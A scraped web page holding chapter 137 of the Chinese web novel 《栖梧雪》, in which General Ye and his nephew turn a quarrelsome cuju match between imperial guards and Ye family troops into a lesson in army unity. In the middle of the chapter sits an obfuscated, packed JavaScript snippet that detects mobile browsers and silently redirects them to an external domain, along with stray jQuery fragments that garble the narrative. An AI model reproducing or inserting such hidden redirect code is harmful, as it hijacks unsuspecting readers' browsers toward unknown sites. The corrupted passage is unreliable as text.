137. 校场蹴鞠
作品:《栖梧雪》 两人循声望去,一道灰影破空而至,直扑他们立足之处。
叶染衣心头一凛,疑是歹毒暗器,足尖点地便要腾身截击。不料另一道身影比他更快,如闪电般掠出,半空中已将“暗器”截住。
“咚”的一声闷响,那物事落地滚了几圈才停住。两人定睛细看,原是个皮鞠,再瞧那出手之人,竟是始终暗中护卫、警戒四周的慕小楼。
“叶哥!”高大青年从树上跃下,挠着头露出腼腆笑容,眼中关切满溢。可瞥见叶守诚立在旁边,他立刻敛了神色,肃然抱拳:
“部下失职。没惊扰大将军吧?”
“哈!若被个球惊着,这仗还怎么打?”叶守诚望着忽然现身的慕小楼,温和拍了拍他的肩头,“小兄弟好俊的身手!”
叶染衣心中沉重微松,亦跟着颔首赞道:“干得好。小楼,这次你比我快多了!”
慕小楼松了口气,腼腆道:“在将军和统领面前献丑了。”
“什么将军统领,方才那声‘叶哥’不是叫得顺口?”叶守诚看出青年拘谨,和颜悦色道,“好孩子,染衣叫我叔父。你若不嫌弃,唤我声叶叔叔便是。”
这声“叶叔叔”勾起慕小楼旧忆,他怔了一下,喃喃唤道:“叶叔好。”
莫说慕小楼,就连叶染衣眼底也掠过一丝恍惚。
物是人非,当年应这称呼的人,终究是再也听不见了。
几人正自黯然,忽见几个身着赤巾皮甲的兵士从不远处奔来,当先那络腮胡汉子抹去额上汗珠,抱拳遥呼道:“嘿!那位好汉!有劳把球掷还我等——弟兄们等着决胜一球呢!”
另有兵士嬉笑着附和:“好兄弟,莫不是脚痒了想蹭一局?先把球还来啊!”
原来叶家叔侄闲谈信步,无意间行至城南神机营校场。兵士们饭后蹴鞠正酣,不料一脚飞踢,皮球竟直冲两人而去。
唯恐冲撞贵人,众人登时惊得魂飞魄散。却见慕小楼凭空出现截下球,兵士们无不心生佩服。一群汉子心思直率,便远远催他掷回。
不知为何,叶染衣忽瞧见校场另一边站着的几名蓝巾兵士——观其衣着,分明是另一队蹴鞠人马。此时皮鞠飞出,他们却只冷眼旁观,倒显得有些孤零零。
慕小楼急忙拾起皮鞠,却僵在原地。
他常年随叶染衣暗处行事,何曾见过这般喧闹场面,更别说与一众生人同场蹴鞠。此刻掌中这八片尖皮缝制的空心球竟重若千钧,他竟不知该掷回还是踢回。
见他伫步,一群汗流浃背的新兵渐渐焦躁。
“快些啊!磨磨唧唧作甚?”
“瞧着身手利落,行事倒像个娘们!”
“莫非和那群土包子一样,没见过这玩意儿?”
“说谁是土包子?”
两边激战正酣,此言如投石入水。蓝巾士兵闻言怒目而视:
“你们别欺人太甚!”
“都住口!叫人听见,岂不笑话我军没规矩!”络腮头领见势不妙,当下喝止众兵士哄笑。
兵卒霎时噤声,而慕小楼仍是一根筋地伫立不动。
“小楼。”叶染衣洞悉青年窘境,适时低语,“瞧见校场中央的洞眼了么?那唤作风流眼,只需朝那方向踢去,定教他们对你另眼相看。”
慕小楼心神稍安,循着指引望去,果见场中栏板中心正对己身。
他本就天生神力,素日精于力道掌控,用惯九石强弓的准头更是得叶染衣亲传。虽距校场尚有数丈之遥,于他不过举手之劳。
当下他气沉丹田,无师自通地将球凌空一颠,猛然飞射而出。那皮鞠如流星破空,挟着凌厉劲风,堪堪擦过正待接球的络腮头领耳畔,竟刮得他面颊生疼。
未待众人回神,皮鞠已穿过风流眼,深深嵌入校场彼端的泥板之中。
“噗——”
闷响声中,皮鞠软软坠地,竟已瘪了气。
“啊…对不住……”慕小楼讪讪道歉,谁知兵士们瞠目结舌,尚未从那惊天一球中醒过神来。
“好……好惊人的脚力!”
“这球要是砸中人,不死也得丢半条命吧……”
“这下糟了,球破了,还怎么和那群乡巴佬分胜负?”
络腮头领眯起眼,正想细看这出手之人是何方神圣,目光扫及远处那身影之时,他脸色骤变,慌忙跪下:
“部下不识泰山,竟不知将军驾到!万望将军恕罪!”
他不久前在宴席上见过叶大将军,自然一眼认出。身后兵士见头领如此,虽不知贵人身份,也慌忙齐跪行礼。
“将军?哪位将军?莫非白将军从沧州回来了?”
人群中顿时跟着传来一片哗然。
“还能是哪位?是君上亲封的镇远大将军!”
忽闻一旁负责记筹的小兵抱着破球从老远跑回来,望着这景象怔怔发问:
“老大,这一球,算哪边的?”
络腮头领反手拍得他趔趄:“混账!还管个球?快拜见大将军!”他转头对叶守诚赔笑:“不知将军亲临,瞧这处乱的,其实咱们平日不是这样…”
叶守诚抬了抬手,未等开口,却有一个少年振臂高呼。几人见那少年脸上既有欢喜又带委屈,活像告状的孩子。
“……家主!是家主来了!”
“弟兄们,家主来看咱们了!”
那群头系蓝巾的兵士闻声,一扫先前在角落独踞时的孤傲,竟争先恐后涌上前来,七嘴八舌招呼道:
“家主,今日的践行宴可还顺利?是否有人刁难您?您为何耽搁这么久才回?可曾见到少……”
另一蓝巾少年正了正襟,上前笑道:“嘿!什么家主,如今该称大将军!”
有人附和:“长平说得对,该拜大将军!”
“参见大将军!”
他们此刻宛若雏鸟仰望归巢雄鹰,齐刷刷向叶守诚单膝跪倒。队列之整齐、气势之凛冽,比之身后的帝都神机营禁军都毫不逊色。
望着这群年龄与自己相仿的兵卒,叶染衣终于明白叔父的用意——原来叔父是特意带他来看看这些从白州调来的叶家军。
他们虽卸甲已久,但根基犹在,军纪分明。然而叶染衣一眼便察觉其中的暗流涌动。
两边如今虽被整合为镇远军,却显然不太融洽——禁军鄙夷这些“乡野莽夫”,真正上过战场的叶家军心底更瞧不起这群“酒囊饭袋”。
这场蹴鞠可不是什么茶余饭后的消遣,分明是两方互不相让,争夺颜面的无血较量。
……
此刻众人皆跪,鞠赛停歇,校场如点兵场。
却见叶守诚淡然摆手,威仪自成:“说得好。此地无甚家主,唯有镇远大将军。明日便要出征,本将来察看校场情状。”
他转向络腮头领,亲手扶起:“军营无贵贱,张指挥不必多礼。你我皆为国效命,本将来非为训话,只观状况,何必紧张?”
众禁军面面相觑,无人敢应声,为首的络腮胡张指挥此刻更是心惊胆战。
叶家军驻营数日,两方因脾性习惯差异,摩擦不断。今日他们本想借帝都人擅长的蹴鞠打压对方气焰,谁料他们虽是初学,悟性却极强,两边踢得难分难解之际,更半路杀出这位叶大将军——
若被将军知晓他们的意图,恐怕日后军旅生涯,少不了要受排挤。
“将军所言极是。”张指挥抹了把额头的汗,这粗豪汉子竟从大将军看似温和的话语里,品出了无形的压迫。
“长安,你有话说?”叶守诚忽地指名道姓地问道。
叶染衣循声望去,人群里站着个面色不快的少年,正是先前第一个冲上来亲近大将军的孩子。看他年纪,也不过十五六岁。
“禀大将军…长安无话。”他顿了顿,不甘道,“但长安不解,出征在即,军士当以家国为先。若镇远军不齐心,如何胜仗?”
几个叶家人愤然,张指挥更是冷汗涔涔。
“哼!咱们想齐心,有人不待见!要不怎么会迫咱们比蹴鞠?”
“人不大,道理倒不小。”叶守诚轻笑,环视兵士朗声道,“出征在即,见尔等精神饱满,本将甚慰。古语云,天下有大勇者,卒然临之而不惊,无故加之而不怒。如今国难当头,尔等临危受命,尚有心力蹴鞠竞技,好!看来此番出征,必能旗开得胜!”
话音落下,全场寂然。叶家众人纷纷垂首,先前那几个面带不忿的子弟,此刻更是面红耳赤。
叶染衣恍然,叔父看似评说蹴鞠,实则是告诫族人,莫因意气之争误了家国大事。
“才不是这样……”叶长安还欲争辩,却被旁边年长些的少年拽住衣袖。叶染衣打量二人相似的面容,显是对同胞兄弟——
长平与长安?倒是一对寓意深远的好名字。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971681|166670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“既已明白,各归其位,该做甚便去做,不必因本将耽搁。”叶守诚挥手示意。
“谨遵将军之命!”
叶家军齐声应和,声震营盘。然一众兵卒方行出半步,却倏然尴尬伫步——将军说该做甚做甚……可他们方才不就是在蹴鞠么?
张指挥琢磨着叶大将军的“命令”,心下纠结。纵使借他一万个胆子,他也不敢当着将军的面再行折辱叶家军之事啊……
大将军这话,究竟是在暗中点他,还是真要他继续这场本就不公平的蹴鞠赛?
一旁抱着球的小兵这时却想起了察言观色,上前探问道:“头儿,那这球到底算谁进的?”
气得张指挥又一巴掌招呼上去:“球球球,你就知道个球!”
——也不瞧瞧他现在什么处境?他就像架在热锅上的肉,左右为难,骑虎难下!
这小崽子,保准是存心的吧!
“唔?比分如何了?”叶守诚没抬眼,却不动声色问道。
“禀大将军,正是四四持平。”小兵捂着头,老实回答。
“倒真是巧了。如今球已毁坏,胜负怕是难分了。”一旁的叶染衣闻言却忽然笑了,“小楼,没想到你那脚踢的,竟是决胜球!”
慕小楼微怔,赧然道:“叶哥说笑,不过是凑巧…都怪我愚笨,竟弄坏了球!”
“啊,部下明白了!”谁知张指挥猛地抚掌,“既是叶将军麾下射中风流眼,自当算叶家军得分!速去宣告,就说本次蹴鞠赛,叶家军胜了神机营!”
那士兵刚抬脚,却被叶守诚截住:“诶,不必着急谦让。张指挥有所不知,这位慕兄弟虽随本将而来,若论官职,他实打实是荣华宫禁军统领麾下才俊……既同属禁军,这筹数么…”
叶守诚语气颇为为难,叶染衣却忍不住暗笑——这话一出,他几乎看到张指挥面色骤僵,才知这马屁拍到了马腿上。
叔父这番为难作态,分明是存心看人窘态。
“依将军之见……”张指挥认命般垂首。
叶守诚捋须沉吟:“唔…难呐…不如请小叶统领献策?”
叶染衣知晓叔父分明胸有成竹,却偏要考校他的应变之策。于是他强敛笑意正色道:“球毁赛停,胜负难分,确是天意。不过慕兄弟这一脚,诸位也见了,寻常蹴鞠赛于他,恐失趣味——”
他环视叶家军与神机营众将,眸中掠过锋芒:“不若玩个新鲜的,由慕统领独闯镇远军十一人防线,咱们不拘成法,慕兄弟的鞠球十入风流眼,则他胜。若诸位合力阻其八次,便算镇远军胜。如此,叶将军可敢应战?”
叶守诚适时开口,声如洪钟:“此议甚妙!慕兄弟身手,正需此等试炼。尔等镇远军精锐若能同心戮力,阻其锋芒,本将不吝厚赏!张指挥、叶长平,速速选人组队!本将倒要一观,我镇远军究竟是散沙难聚,还是金石同心!”
难题得解,张指挥如蒙大赦:“好极好极!来人,速去遣将布阵!”
……
“不是…叶哥,我哪行啊……”慕小楼呆立半晌,才知叶家叔侄这一唱一和,竟把自己也绕了进去,赶忙推脱,“我连那蹴鞠是什么都不晓得!更何况,我该赢还是该输?我若赢了,岂不是让镇远军难堪?”
“——瞧瞧,初生牛犊不怕虎。”一旁的叶守诚笑着接话道,“别的我不敢保证,贤侄可别轻视了我们叶家军。”
慕小楼当即汗颜:“将…叶叔误会了,小楼绝没有轻视之意!”
“小楼,别想那么多,尽力就好。”叶染衣一把勾住慕小楼的肩膀,“我还从未见你这般激动,方才我看你不是挺喜欢蹴鞠的么?这不是正给你个施展拳脚的机会?”
“可是我担心……”
“无需忧心!你若觉得胆怯,便将对方视作欺辱小犀的恶徒,你只管将风流眼那侧的对手统统击败,如此可会好些?”
“这如何能相提并论……”慕小楼苦笑。
叶染衣忽而轻拍腰间钱袋,压低声音道:“实话告诉你,今日我带的银钱全押在你身上了。倘若输了,你可得请我喝足一个月的一枝春!”
“可……”慕小楼还想分辩,叶染衣却已将他推向场中。
“去吧!既然上场了,就给我赢个彩头回来!”
听了这话,慕小楼心里莫名一阵激越。奈何等他回头时,那青年只留给他一个背影。